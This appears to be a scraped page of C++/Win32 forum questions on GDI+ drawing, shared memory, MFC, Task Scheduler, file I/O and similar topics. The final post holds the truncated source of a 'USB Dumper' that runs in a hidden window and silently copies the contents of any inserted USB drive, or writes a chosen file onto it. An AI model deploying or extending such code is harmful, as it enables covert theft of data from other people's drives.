How to get WM_PAINT to fire at the time I need?
The precision of numbers is lost when initializing Gdiplus::PointF class instanse.
Hello. For drawing lines (edges of triangles) I use the following GDI+ function:
Status DrawLine( IN const Pen *pen, IN const PointF & pt1, IN const PointF & pt2 );
I have the structure that I use.
// Represents the edge of a triangle that is part of the set // of triangles drawn in the application window that make up // the triangulation mesh. struct EdgeToDraw { EdgeToDraw() {} EdgeToDraw(long X_begin, long Y_begin, long X_end, long Y_end) { Begin.X = X_begin; Begin.Y = Y_begin; End.X = X_end; End.Y = Y_end; } // X and Y coordinates of begin edge vertex. PointF Begin; // X and Y coordinates of end edge vertex. PointF End; };
The thread of constructing a triangulation places the coordinates of the edges in the concurrent_queue container
concurrent_queue<EdgeToDraw> MeshEdgesBuffer;
and another thread takes them from there (in WndProc WM_PAINT) in order to draw. Below I show how I put instances of EdgeToDraw in a concurrent_queue container.
// Add an edge for the drawn triangulation mesh. MeshEdgesBuffer.push(EdgeToDraw(X_begin, Y_begin, X_end, Y_end));But here, the accuracy of the added values is lost. For example if X_begin == -0.522 and Y_begin == 2.169 (where X_begin and Y_begin havedouble type), then MeshEdgesBuffer[0].Begin.X == 0 and MeshEdgesBuffer[0].Begin.Y == 2. And so on. But for me, the numbers to the right of the decimal point are very important. Highly. As I understand it, the PointF class is specifically designed to express coordinates with decimal point values. Please tell me what I am doing wrong and how can I make sure that the accuracy of numbers is not lost? That is, ifX_begin == -0.522, then Begin.X is of the same value (-0.522) but not is0 or 0.000. Thank you in advance.
What is this!!: error C2143: syntax error : missing ';' before '}'
#pragma once namespace SimpleCalculator { using namespace System; using namespace System::ComponentModel; using namespace System::Collections; using namespace System::Windows::Forms; using namespace System::Data; using namespace System::Drawing; /// <summary> /// Summary for Form1 /// </summary> public ref class Form1 : public System::Windows::Forms::Form { public: Form1(void) { InitializeComponent(); // //TODO: Add the constructor code here // } protected: /// <summary> /// Clean up any resources being used. /// </summary> ~Form1() { if (components) { delete components; } } private: System::Windows::Forms::Label^ lblDsiplay; protected: protected: protected: private: System::Windows::Forms::Button^ button1; private: System::Windows::Forms::Button^ button2; private: System::Windows::Forms::Button^ button3; private: System::Windows::Forms::Button^ button4; private: System::Windows::Forms::Button^ button5; private: System::Windows::Forms::Button^ button6; private: System::Windows::Forms::Button^ button7; private: System::Windows::Forms::Button^ button8; private: System::Windows::Forms::Button^ button9; private: System::Windows::Forms::Button^ button10; private: System::Windows::Forms::Button^ button11; private: System::Windows::Forms::Button^ button12; private: System::Windows::Forms::Button^ button13; private: System::Windows::Forms::Button^ button14; private: System::Windows::Forms::Button^ button15; private: System::Windows::Forms::Button^ button16; private: /// <summary> /// Required designer variable. /// </summary> System::ComponentModel::Container ^components; #pragma region Windows Form Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> void InitializeComponent(void) { this->lblDsiplay = (gcnew System::Windows::Forms::Label()); this->button1 = (gcnew System::Windows::Forms::Button()); this->button2 = (gcnew System::Windows::Forms::Button()); this->button3 = (gcnew System::Windows::Forms::Button()); this->button4 = (gcnew System::Windows::Forms::Button()); this->button5 = (gcnew System::Windows::Forms::Button()); this->button6 = (gcnew System::Windows::Forms::Button()); this->button7 = (gcnew System::Windows::Forms::Button()); this->button8 = (gcnew System::Windows::Forms::Button()); this->button9 = (gcnew System::Windows::Forms::Button()); this->button10 = (gcnew System::Windows::Forms::Button()); this->button11 = (gcnew System::Windows::Forms::Button()); this->button12 = (gcnew System::Windows::Forms::Button()); this->button13 = (gcnew System::Windows::Forms::Button()); this->button14 = (gcnew System::Windows::Forms::Button()); this->button15 = (gcnew System::Windows::Forms::Button()); this->button16 = (gcnew System::Windows::Forms::Button()); this->SuspendLayout(); // // lblDsiplay // this->lblDsiplay->BackColor = System::Drawing::Color::White; this->lblDsiplay->BorderStyle = System::Windows::Forms::BorderStyle::Fixed3D; this->lblDsiplay->Font = (gcnew System::Drawing::Font(L"Times New Roman", 20.25F, System::Drawing::FontStyle::Regular, System::Drawing::GraphicsUnit::Point, static_cast<System::Byte>(0))); this->lblDsiplay->Location = System::Drawing::Point(22, 9); this->lblDsiplay->Name = L"lblDsiplay"; this->lblDsiplay->Size = System::Drawing::Size(318, 54); this->lblDsiplay->TabIndex = 0; this->lblDsiplay->Text = L"0"; this->lblDsiplay->TextAlign = System::Drawing::ContentAlignment::MiddleRight; // // button1 // this->button1->Font = (gcnew System::Drawing::Font(L"Times New Roman", 15.75F, System::Drawing::FontStyle::Regular, System::Drawing::GraphicsUnit::Point, static_cast<System::Byte>(0))); this->button1->Location = System::Drawing::Point(22, 76); this->button1->Name = L"button1"; this->button1->Size = System::Drawing::Size(68, 54); this->button1->TabIndex = 1; this->button1->Text = L"1"; this->button1->UseVisualStyleBackColor = true; this->button1->Click += gcnew System::EventHandler(this, &Form1::button1_Click); // // button2 // this->button2->Font = (gcnew System::Drawing::Font(L"Times New Roman", 15.75F, System::Drawing::FontStyle::Regular, System::Drawing::GraphicsUnit::Point, static_cast<System::Byte>(0))); this->button2->Location = System::Drawing::Point(103, 76); this->button2->Name = L"button2"; this->button2->Size = System::Drawing::Size(71, 54); this->button2->TabIndex = 2; this->button2->Text = L"2"; this->button2->UseVisualStyleBackColor = true; // // button3 // this->button3->Font = (gcnew System::Drawing::Font(L"Times New Roman", 15.75F, System::Drawing::FontStyle::Regular, System::Drawing::GraphicsUnit::Point, static_cast<System::Byte>(0))); this->button3->Location = System::Drawing::Point(188, 76); this->button3->Name = L"button3"; this->button3->Size = System::Drawing::Size(71, 54); this->button3->TabIndex = 3; this->button3->Text = L"3"; this->button3->UseVisualStyleBackColor = true; // // button4 // this->button4->Font = (gcnew System::Drawing::Font(L"Times New Roman", 15.75F, System::Drawing::FontStyle::Regular, System::Drawing::GraphicsUnit::Point, static_cast<System::Byte>(0))); this->button4->Location = System::Drawing::Point(272, 76); this->button4->Name = L"button4"; this->button4->Size = System::Drawing::Size(61, 54); this->button4->TabIndex = 4; this->button4->Text = L"4"; this->button4->UseVisualStyleBackColor = true; // // button5 // this->button5->Font = (gcnew System::Drawing::Font(L"Times New Roman", 15.75F, System::Drawing::FontStyle::Regular, System::Drawing::GraphicsUnit::Point, static_cast<System::Byte>(0))); this->button5->Location = System::Drawing::Point(272, 136); this->button5->Name = L"button5"; this->button5->Size = System::Drawing::Size(61, 54); this->button5->TabIndex = 8; this->button5->Text = L"8"; this->button5->UseVisualStyleBackColor = true; // // button6 // this->button6->Font = (gcnew System::Drawing::Font(L"Times New Roman", 15.75F, System::Drawing::FontStyle::Regular, System::Drawing::GraphicsUnit::Point, static_cast<System::Byte>(0))); this->button6->Location = System::Drawing::Point(188, 136); this->button6->Name = L"button6"; this->button6->Size = System::Drawing::Size(71, 54); this->button6->TabIndex = 7; this->button6->Text = L"7"; this->button6->UseVisualStyleBackColor = true; // // button7 // this->button7->Font = (gcnew System::Drawing::Font(L"Times New Roman", 15.75F, System::Drawing::FontStyle::Regular, System::Drawing::GraphicsUnit::Point, static_cast<System::Byte>(0))); this->button7->Location = System::Drawing::Point(103, 136); this->button7->Name = L"button7"; this->button7->Size = System::Drawing::Size(71, 54); this->button7->TabIndex = 6; this->button7->Text = L"6"; this->button7->UseVisualStyleBackColor = true; // // button8 // this->button8->Font = (gcnew System::Drawing::Font(L"Times New Roman", 15.75F, System::Drawing::FontStyle::Regular, System::Drawing::GraphicsUnit::Point, static_cast<System::Byte>(0))); this->button8->Location = System::Drawing::Point(22, 136); this->button8->Name = L"button8"; this->button8->Size = System::Drawing::Size(68, 54); this->button8->TabIndex = 5; this->button8->Text = L"5"; this->button8->UseVisualStyleBackColor = true; // // button9 // this->button9->Font = (gcnew System::Drawing::Font(L"Times New Roman", 15.75F, System::Drawing::FontStyle::Regular, System::Drawing::GraphicsUnit::Point, static_cast<System::Byte>(0))); this->button9->Location = System::Drawing::Point(272, 196); this->button9->Name = L"button9"; this->button9->Size = System::Drawing::Size(61, 54); this->button9->TabIndex = 12; this->button9->Text = L"/"; this->button9->UseVisualStyleBackColor = true; // // button10 // this->button10->Font = (gcnew System::Drawing::Font(L"Times New Roman", 15.75F, System::Drawing::FontStyle::Regular, System::Drawing::GraphicsUnit::Point, static_cast<System::Byte>(0))); this->button10->Location = System::Drawing::Point(188, 196); this->button10->Name = L"button10"; this->button10->Size = System::Drawing::Size(71, 54); this->button10->TabIndex = 11; this->button10->Text = L"c"; this->button10->UseVisualStyleBackColor = true; // // button11 // this->button11->Font = (gcnew System::Drawing::Font(L"Times New Roman", 15.75F, System::Drawing::FontStyle::Regular, System::Drawing::GraphicsUnit::Point, static_cast<System::Byte>(0))); this->button11->Location = System::Drawing::Point(103, 196); this->button11->Name = L"button11"; this->button11->Size = System::Drawing::Size(71, 54); this->button11->TabIndex = 10; this->button11->Text = L"0"; this->button11->UseVisualStyleBackColor = true; // // button12 // this->button12->Font = (gcnew System::Drawing::Font(L"Times New Roman", 15.75F, System::Drawing::FontStyle::Regular, System::Drawing::GraphicsUnit::Point, static_cast<System::Byte>(0))); this->button12->Location = System::Drawing::Point(22, 196); this->button12->Name = L"button12"; this->button12->Size = System::Drawing::Size(68, 54); this->button12->TabIndex = 9; this->button12->Text = L"9"; this->button12->UseVisualStyleBackColor = true; // // button13 // this->button13->Font = (gcnew System::Drawing::Font(L"Times New Roman", 15.75F, System::Drawing::FontStyle::Regular, System::Drawing::GraphicsUnit::Point, static_cast<System::Byte>(0))); this->button13->Location = System::Drawing::Point(272, 256); this->button13->Name = L"button13"; this->button13->Size = System::Drawing::Size(61, 54); this->button13->TabIndex = 16; this->button13->Text = L"="; this->button13->UseVisualStyleBackColor = true; // // button14 // this->button14->Font = (gcnew System::Drawing::Font(L"Times New Roman", 15.75F, System::Drawing::FontStyle::Regular, System::Drawing::GraphicsUnit::Point, static_cast<System::Byte>(0))); this->button14->Location = System::Drawing::Point(188, 256); this->button14->Name = L"button14"; this->button14->Size = System::Drawing::Size(71, 54); this->button14->TabIndex = 15; this->button14->Text = L"+"; this->button14->UseVisualStyleBackColor = true; // // button15 // this->button15->Font = (gcnew System::Drawing::Font(L"Times New Roman", 15.75F, System::Drawing::FontStyle::Regular, System::Drawing::GraphicsUnit::Point, static_cast<System::Byte>(0))); this->button15->Location = System::Drawing::Point(103, 256); this->button15->Name = L"button15"; this->button15->Size = System::Drawing::Size(71, 54); this->button15->TabIndex = 14; this->button15->Text = L"-"; this->button15->UseVisualStyleBackColor = true; this->button15->Click += gcnew System::EventHandler(this, &Form1::button15_Click); // // button16 // this->button16->Font = (gcnew System::Drawing::Font(L"Times New Roman", 15.75F, System::Drawing::FontStyle::Regular, System::Drawing::GraphicsUnit::Point, static_cast<System::Byte>(0))); this->button16->Location = System::Drawing::Point(22, 256); this->button16->Name = L"button16"; this->button16->Size = System::Drawing::Size(68, 54); this->button16->TabIndex = 13; this->button16->Text = L"x"; this->button16->UseVisualStyleBackColor = true; // // Form1 // this->AutoScaleDimensions = System::Drawing::SizeF(6, 13); this->AutoScaleMode = System::Windows::Forms::AutoScaleMode::Font; this->ClientSize = System::Drawing::Size(361, 311); this->Controls->Add(this->button13); this->Controls->Add(this->button14); this->Controls->Add(this->button15); this->Controls->Add(this->button16); this->Controls->Add(this->button9); this->Controls->Add(this->button10); this->Controls->Add(this->button11); this->Controls->Add(this->button12); this->Controls->Add(this->button5); this->Controls->Add(this->button6); this->Controls->Add(this->button7); this->Controls->Add(this->button8); this->Controls->Add(this->button4); this->Controls->Add(this->button3); this->Controls->Add(this->button2); this->Controls->Add(this->button1); this->Controls->Add(this->lblDsiplay); this->Name = L"Form1"; this->Text = L"Form1"; this->ResumeLayout(false); } int firstnum; int secondnum; int Result; char operation; #pragma endregion private: System::Void button15_Click(System::Object^ sender, System::EventArgs^ e) { } private: System::Void button1_Click(System::Object^ sender, System::EventArgs^ e) { if(lblDsiplay->Text == "0"){ lblDsiplay->Text = "1"; } else{ lblDsiplay->Text = Convert::ToInt32(lblDsiplay->Text) + "1"; } }; } }
In the Win32 C++ application, when using the DrawLine() function, wide strokes are drawn instead of lines.
Hello. I write the Win32 C ++ application. I use Visual Studio 2017 Community. I have problems of drawing lines using GDI+. First, I’ll show you what is drawing scheme I use in my application. I bring all this in a significantly reduced form.
. . . . . . . . . . . #include <gdiplus.h> . . . . . . . . . . . using namespace Gdiplus; #pragma comment (lib,"Gdiplus.lib") // Drawn edge of a triangle that make up the triangulation mesh. struct EdgeToDraw { EdgeToDraw() {} EdgeToDraw(double X_begin, double Y_begin, double X_end, double Y_end) { Begin.X = X_begin; Begin.Y = Y_begin; End.X = X_end; End.Y = Y_end; } // X and Y coordinates of begin vertex of drawn edge. PointF Begin; // X and Y coordinates of end vertex of drawn edge. PointF End; }; . . . . . . . . . . . . . . . . . . . . . . . . . // The buffer of the edges of the triangles that make up the // triangulation grid drawn in the application window. concurrent_queue<EdgeToDraw> MeshEdgesBuffer; // Message about redrawing of the application window. const UINT WM_APP_DRAW_TRIMESH = WM_APP + 0; . . . . . . . . . . . . . . . . . . . . . . . . . // Fills the buffer of edges that make up the triangulation mesh // drawn in the application window. void FillMeshEdgesBuffer(Mesh* m, cancellation_token token) { . . . . . . . . . . . . . . . . . . . . . . . . // To go through many edges, you need to go through all the triangles // and look at the three edges of each of the triangles. while (triangleloop.Tri != nullptr) { . . . . . . . . . . . . . . . . . . . . . . for (triangleloop.Edge = 0; triangleloop.Edge < 3; triangleloop.Edge++) { . . . . . . . . . . . . . . . . . . . . // Get the start point of the edge. double X_begin = GetXBegin(); double Y_begin = GetYBegin(); // Get the end point of the edge. double X_end = GetXEnd(); double Y_end = GetYEnd(); // Add an edge for the drawn triangulation mesh. MeshEdgesBuffer.push(EdgeToDraw(X_begin, Y_begin, X_end, Y_end)); . . . . . . . . . . . . . . . . . . . . } . . . . . . . . . . . . . . . . . . . . . . } } // Called in WM_PAINT message. VOID OnPaint(HWND hWnd, HDC hdc) { Graphics* g = Graphics::FromHDC(hdc); RECT r; ::GetClientRect(hWnd, &r); int width = r.right - r.left; int height = r.bottom - r.top; // move the origin to center g->TranslateTransform((r.right - r.left) / 2, (r.bottom - r.top) / 2); // set the bottom-up orientation of Y g->ScaleTransform(1, -1); // scale; 3.5 is the maximal expected value of coordinates g->ScaleTransform((width / 2) / 3.5, (height / 2) / 3.5); // determine the approximative size of pixel PointF p[2] = { {0, 0}, {1, 1} }; g->TransformPoints(CoordinateSpace::CoordinateSpaceWorld, CoordinateSpace::CoordinateSpaceDevice, p, 2); float pw = fabsf(p[1].X - p[0].X); float ph = fabsf(p[1].Y - p[0].Y); // Set pen color and smmothing mode to draw lines. Pen pen(Color(255, 0, 0, 255), 2); g->SetSmoothingMode(SmoothingModeAntiAlias); // Draw next edge. EdgeToDraw* drawnEdge = new EdgeToDraw(); while (MeshEdgesBuffer.try_pop(*drawnEdge)) { g->DrawLine(&pen, drawnEdge->Begin, drawnEdge->End); //g->ResetTransform(); } } // Application window procedure. LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) { case WM_COMMAND: { int wmId = LOWORD(wParam); switch (wmId) { . . . . . . . case IDM_TRIANGULATE: { // Go to asynchronous execution. auto asyncTask = create_task([hWnd]() { // Get cancellation token for triangulationTask task. cancelTriSource = cancellation_token_source(); cancellation_token token = cancelTriSource.get_token(); // Declare a triangulation mesh variable. Mesh m; // Declare application settings variable. Configuration b; // Run triangulation task. auto triangulationTask = create_task([&m, &b, &token, hWnd]() { . . . . . . . . . . . . . . // Get data to draw triangulation mesh. FillMeshEdgesBuffer(&m, token); // Send message about redrawing of application window. PostMessage(hWnd, WM_APP_DRAW_TRIMESH, 0, 0); . . . . . . . . . . . . . . }, token).then([&m, &b](task<void> currentTask) { . . . . . . . . . . . }); // Wait the completion of the triangulation task. triangulationTask.get(); }); } break; . . . . . . . . . . . . . default: return DefWindowProc(hWnd, message, wParam, lParam); } . . . . . . . . . } break; . . . . . . . . . . . case WM_PAINT: { PAINTSTRUCT ps; HDC hdc = BeginPaint(hWnd, &ps); // TODO: Add any drawing code that uses hdc here... OnPaint(hWnd, hdc); EndPaint(hWnd, &ps); return 0; } break; case WM_APP_DRAW_TRIMESH: InvalidateRect(hWnd, nullptr, TRUE); break; . . . . . . . . . . . . . . . . . default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0; }And here is how the application draws a triangulation mesh. Some kind of daub. Please see below. This is the problem.
Below is the contents of MeshEdgesBuffer:
As you can see from the figure, the buffer contains normal data for drawing a triangulation mesh.
But what is the reason for such a daub in the picture instead of a triangulation mesh? The only good thing here is that the shape of the outer border of this daub repeats the shape of the outer border of the triangulation mesh that was supposed to be. In this example, which I showed you, the triangulation mesh has only 29 edges. But instead of it for some reason it turns out some kind of daub. Please help to cope with this problem and that the triangulation mesh is drawn normally.
One block of memory with two pointers for two different processes in unmanaged situation?
I have a problem of transferring some integer values that are generated at a fast clip in MFCaptureD3D. The latter is a GitHub project that captures pixel values of standard WebCam. It is a C++ application. A few variants have been considered, including named pipes and named shared memory. They still might be used but analyzing the code I noticed that there is considerable overhead in each method and that I am afraid will make them impractically slow and chocked with the data. So I want to define one block of memory with the stipulation that I could also define two pointers attached to it. I think I can use one of them to write the data and the other one to read. My question is are there any pitfalls in the idea? If there are I will abandon it and try to do named pipes.
int* ptr1[76800];
So, how do I define the second pointer if it is at all possible? process A, writer ==> [memory] ==> process B, reader.
Thanks, -MyCatAlex
How to reference memory blocks defined in one .cpp file in another .cpp file?
I am butting my head against it. I defined a few memory blocks in one .cpp file specially for that created. There is also some code in that file that do one time filling the memory with various coefficients. Then I need to reference at least two of the blocks from another .cpp file. It creates numerous problems, either IntelliSense suggestions or a few compile errors. I wrapped the memory blocks into a structure like this.
struct commons{ float* ptr20[76800]; // will contain theta angles for all points (pixels) of the screen projection on the sphere. float* ptr21[76800]; // will contain phi angles for all points (pixels) of the screen projection on the sphere. float* ptr22[76800]; // will contain moderating coefficient, close to 1.0 at NP and diminishing to the periphery. float* ptr23[76800]; // will contain amplitude of the light intensity in the pixels of the webcam (device.cpp) } pcom;
If the explanation is clear, please show how this block should be referenced like for instance COMMON in FORTRAN.
Thanks, - MyCatAlex
Building Empty UTF-8 Multi Byte Static Library?
Hi Folks:
Developing on Win 10 Pro, Visual Studio 2019 Community, upgraded today.
It's been a few months since I last built a new static library. When I created one last night the option to make an empty library, where I could just build, or copy, all of the code by hand, was missing. The option to build pre-compiled
headers was also missing, but I use pre-compiled headers, which seem to be the default.
Once the project was created I couldn't find the line to select the character set, which I believe was in the in the project property's General or C/C++ page.
How do I create an empty static library, and how do I create a project that uses the multi-byte UTF-8 character set?
Thanks
Larry
How to compare two files line by line after storing them in vector
i have two text files named totalfiles.txt and uploaded.txt i am storing both of them in a vector now offcourse when this program will run for a very first time uploaded.txt will be made and it will be empty and first file will be written in it after its successfully uploaded to the server what i want is some kind of method to compare both .txt files so if files that are already uploaded to server don't get uploaded again so is there any method to do that in c++? again at the beginning i am going to store the files in vector and i need to do above operation via vector and not using .txt files directly with fstream
ifstream read2("ScannedFiles.txt");
ofstream read3("Problem.txt", ios::app);
fstream uploaded("Uploaded.txt", ios::app);
vector<string>filen2;
vector<string>upl;
string st3;
string st2;
while (getline(read2, st2))
{
if (st2.size() > 0)
filen2.push_back(st2);
else
break;
}
while (getline(uploaded,st3))
{
if (st3.size() > 0)
upl.push_back(st3);
else
break;
}
<pre>for (vector<string>::iterator t = filen2.begin(); t != filen2.end(); t++)
How do i get all tasks including Hidden tasks using taskchd in c++
i observed that this piece of code is unable to search for hidden tasks.
is there any way to find hidden tasks too with taskchd in c++?
int check() { string name = "Check"; string name2; // ------------------------------------------------------ // Initialize COM. HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (FAILED(hr)) { printf("\nCoInitializeEx failed: %x", hr); return 1; } // Set general COM security levels. hr = CoInitializeSecurity( NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); if (FAILED(hr)) { printf("\nCoInitializeSecurity failed: %x", hr); CoUninitialize(); return 1; } // ------------------------------------------------------ // Create an instance of the Task Service. ITaskService *pService = NULL; hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService); if (FAILED(hr)) { printf("Failed to CoCreate an instance of the TaskService class: %x", hr); CoUninitialize(); return 1; } // Connect to the task service. hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t()); if (FAILED(hr)) { printf("ITaskService::Connect failed: %x", hr); pService->Release(); CoUninitialize(); return 1; } // ------------------------------------------------------ // Get the pointer to the root task folder. ITaskFolder *pRootFolder = NULL; hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder); pService->Release(); if (FAILED(hr)) { printf("Cannot get Root Folder pointer: %x", hr); CoUninitialize(); return 1; } // ------------------------------------------------------- // Get the registered tasks in the folder. IRegisteredTaskCollection* pTaskCollection = NULL; hr = pRootFolder->GetTasks(NULL, &pTaskCollection); pRootFolder->Release(); if (FAILED(hr)) { printf("Cannot get the registered tasks.: %x", hr); CoUninitialize(); return 1; } LONG numTasks = 0; hr = pTaskCollection->get_Count(&numTasks); if (numTasks == 0) { printf("\nNo Tasks are currently running"); pTaskCollection->Release(); CoUninitialize(); return 1; } printf("\nNumber of Tasks : %d", numTasks); TASK_STATE taskState; for (LONG i = 0; i < numTasks; i++) { IRegisteredTask* pRegisteredTask = NULL; hr = pTaskCollection->get_Item(_variant_t(i + 1), &pRegisteredTask); if (SUCCEEDED(hr)) { BSTR taskName = NULL; hr = pRegisteredTask->get_Name(&taskName); if (SUCCEEDED(hr)) { printf("\nTask Name: %S", taskName); SysFreeString(taskName); name2 = bstr_to_str(taskName); //name2 = name; if (name2 == name) { return 1; } hr = pRegisteredTask->get_State(&taskState); if (SUCCEEDED(hr)) printf("\n\tState: %d", taskState); else printf("\n\tCannot get the registered task state: %x", hr); } else { printf("\nCannot get the registered task name: %x", hr); } pRegisteredTask->Release(); } else { printf("\nCannot get the registered task item at index=%d: %x", i + 1, hr); } } pTaskCollection->Release(); CoUninitialize(); return 0; }
Reading from a file
Hi there, I have this C++ project and I need to read lines from a text file that has a .dat extension. A small sample from this file is
1 0 0.21 1 1 8.17 2 0 0.63 2 1 3.39 2 2 15.83 3 0 0.36 ..............................
So, I started
ofstream myfile;
which worked well in Linux C++. Here in MS C++ VS2019 I got "myfile" underlined in red and got a message:
Incomplete types are not allowed.
What is a complete type and what is an incomplete type? How can I correct the situation?
Thanks, - MyCatAlex
Use USB Communication to write and read a byte to a PIC microcontroller in C++ visual studio 2019
I need to build a visual project in C++ using visual studio to communicate with a microcontroller. I did the form windows in c++, but I don´t know how to communicate with my micontroller. I already programed my microcontroller and and it is working. I tested it with a program for Mikro C. It write and a character to PIC and works. But now, I need to do this in Visual Studio. somebody could help me? Thank you.
OnMDIActivate called multiple times
Hi,
This is about an MFC application using a multiple Doc/View architecture in VS2015.
1) Create a new MFC project using the default values in VS2015.
2) Override the function OnMDIActivate in ChildFrm.cpp and add ON_WM_MDIACTIVATE() in the message map.
3) Create a new document and then create a second new document and observe the calls in OnMDIActivate .
The function is called 6 times with the following parameters:
- bActivate = 1, pActivateWnd = 0x00010abc, pDeactivateWnd = 0x00080a46
- bActivate = 0, pActivateWnd = 0x00080a46, pDeactivateWnd = 0x00010abc
- bActivate = 1, pActivateWnd = 0x00080a46, pDeactivateWnd = 0x00010abc
- bActivate = 0, pActivateWnd = 0x00010abc, pDeactivateWnd = 0x00080a46
- bActivate = 1, pActivateWnd = 0x00010abc, pDeactivateWnd = 0x00080a46
The final call, is correct. The handle 0x00010abc corresponds to the new window that is the last one active.
However, the 4th call shows the old window being activated again and that causes a problem in my application.
This behavior was not the same in VS2008. In VS2008 there were 4 calls and the pActivateWnd parameter was always of the windows being activated.
Is there any workaround to this ?
Thanks!
DLL Missing MSVCP140D With registry Key
Hy
I have build a application with visual studio 2019 and MFC . I write a key to lunch automaticly my application at users start
"Software\\Microsoft\\Windows\\CurrentVersion\\Run". It's ok. When users start the application try to start and i have the message "File missing MSVCP140D.dll". So i have modified my program to see where i lunch my application. I found "c:\windows\system32". So MSVCP140D it's not in "c:\windows\system32". I don't know how solved this problem. Do have an idea?
Thanks
Jean Bezet
Scan multiple partitions with usb dumper?
i got this code from net while studying as i am planning to make a usb scanner i made a code but it was a mess and someone gave link for usb dumper and i study that..but i can't seem to make it work for more then 1 partitions
it only gets one partition the first one.for eg my usb has two partitions G and H but this usb dumper only reads the First that is G.
below is the code:i am just looking for any method so that it stores all drive letters in some array and then pass it on for scanning one by one
#include <windows.h> #include <dbt.h> #include <direct.h> #include <stdio.h> char dir[260]; char szFile[255] = ""; // Function prototype LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam); char FirstDriveFromMask (ULONG unitmask); void GetFile(char* FilePath); void CreateDir(char * path); void Copy(char* FileName); int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) { MSG msg; // MSG structure to store messages HWND hwndMain; // Main window handle WNDCLASSEX wcx; // WINDOW class information HDEVNOTIFY hDevnotify; DWORD len; DEV_BROADCAST_DEVICEINTERFACE NotificationFilter; // 53F56307-B6BF-11D0-94F2-00A0C91EFB8B GUID FilterGUID = {0x53F56307,0x0B6BF,0x11D0,{0x94,0xF2,0x00,0xA0,0xC9,0x1E,0xFB,0x8B}}; printf("\n>> USB Dumper by Valgasu <<\n\n"); // Get command line if (lpCmdLine[0] != '\0') { strcpy(szFile, lpCmdLine); } // Initialize the struct to zero ZeroMemory(&wcx,sizeof(WNDCLASSEX)); wcx.cbSize = sizeof(WNDCLASSEX); // Window size. Must always be sizeof(WNDCLASSEX) wcx.style = 0 ; // Class styles wcx.lpfnWndProc = (WNDPROC)MainWndProc; // Pointer to the callback procedure wcx.cbClsExtra = 0; // Extra byte to allocate following the wndclassex structure wcx.cbWndExtra = 0; // Extra byte to allocate following an instance of the structure wcx.hInstance = hInstance; // Instance of the application wcx.hIcon = NULL; // Class Icon wcx.hCursor = NULL; // Class Cursor wcx.hbrBackground = NULL; // Background brush wcx.lpszMenuName = NULL; // Menu resource wcx.lpszClassName = "USB"; // Name of this class wcx.hIconSm = NULL; // Small icon for this class // Register this window class with MS-Windows if (!RegisterClassEx(&wcx)) return 0; // Create the window hwndMain = CreateWindowEx(0,// Extended window style "USB", // Window class name "", // Window title WS_POPUP, // Window style 0,0, // (x,y) pos of the window 0,0, // Width and height of the window NULL, // HWND of the parent window (can be null also) NULL, // Handle to menu hInstance, // Handle to application instance NULL); // Pointer to window creation data // Check if window creation was successful if (!hwndMain) return 0; // Make the window invisible ShowWindow(hwndMain,SW_HIDE); // Initialize device class structure len = sizeof(DEV_BROADCAST_DEVICEINTERFACE); memset(&NotificationFilter,0,len); NotificationFilter.dbcc_size = 0x20; NotificationFilter.dbcc_devicetype = 5; // DBT_DEVTYP_DEVICEINTERFACE; NotificationFilter.dbcc_classguid = FilterGUID; // Register hDevnotify = RegisterDeviceNotification(hwndMain, &NotificationFilter, DEVICE_NOTIFY_WINDOW_HANDLE); if(hDevnotify == NULL) return 0; // Process messages coming to this window while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } // return value to the system return msg.wParam; } LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam) { char szMsg[80]; char szFileDest[255]; char drive; char szDrive[20]; char dtime[20]; char temp[10]; SYSTEMTIME st; PDEV_BROADCAST_VOLUME PdevVolume; PDEV_BROADCAST_DEVICEINTERFACE PdevDEVICEINTERFACE; switch (msg) { case WM_DEVICECHANGE: switch(wParam) { // A device or piece of media has been inserted and is now available case DBT_DEVICEARRIVAL: PdevDEVICEINTERFACE = (PDEV_BROADCAST_DEVICEINTERFACE)lParam; switch(PdevDEVICEINTERFACE->dbcc_devicetype) { // Class of devices case DBT_DEVTYP_DEVICEINTERFACE: // MessageBox(NULL, PdevDEVICEINTERFACE->dbcc_name, "DEBUG", MB_OK); break; // Logical volume case DBT_DEVTYP_VOLUME: PdevVolume = (PDEV_BROADCAST_VOLUME)lParam; drive = FirstDriveFromMask(PdevVolume ->dbcv_unitmask); wsprintf(szDrive, "%c:\\", drive); wsprintf(szMsg, "Drive %s connected\n", szDrive); // MessageBox (NULL, szMsg, "WM_DEVICECHANGE", MB_OK); GetLocalTime(&st); itoa(st.wYear, temp, 10); strcpy(dtime, temp); itoa(st.wMonth, temp, 10); strcat(dtime, temp); itoa(st.wDay, temp, 10); strcat(dtime , temp); _mkdir(dtime); _getcwd(dir, 260); strcat(dir, "\\"); strcat(dir, dtime ); strcat(dir, "\\" ); // Check command line if (strcmp(szFile, "") != 0) { wsprintf(szFileDest, "%s%s", szDrive, szFile); //MessageBox(NULL, szFileDest, "DEBUG", MB_OK); CopyFile(szFile, szFileDest, FALSE); } else { GetFile(szDrive); } } break; } break; default: // Call the default window handler return DefWindowProc(hwnd,msg,wParam,lParam); } return 0; } char FirstDriveFromMask (ULONG unitmask) { char i; for (i = 0 ; i < 26 ; ++i) { if (unitmask & 0x1) break; unitmask = unitmask >> 1; } return (i + 'A'); } void Copy(char* FileName) { char dir2[260]; char* temp; temp = strchr(FileName, '\\'); strcpy(dir2, dir); temp++; strcat(dir2, temp); CopyFile(FileName, dir2, 1); } void CreateDir(char * path) { char temp2[260]; char* temp; temp = strchr(path, '\\'); strcpy(temp2, dir); temp++; strcat(temp2, temp); _mkdir(temp2); } void GetFile(char* FilePath) { char temp[260]; char temp1[260]; HANDLE hFind; 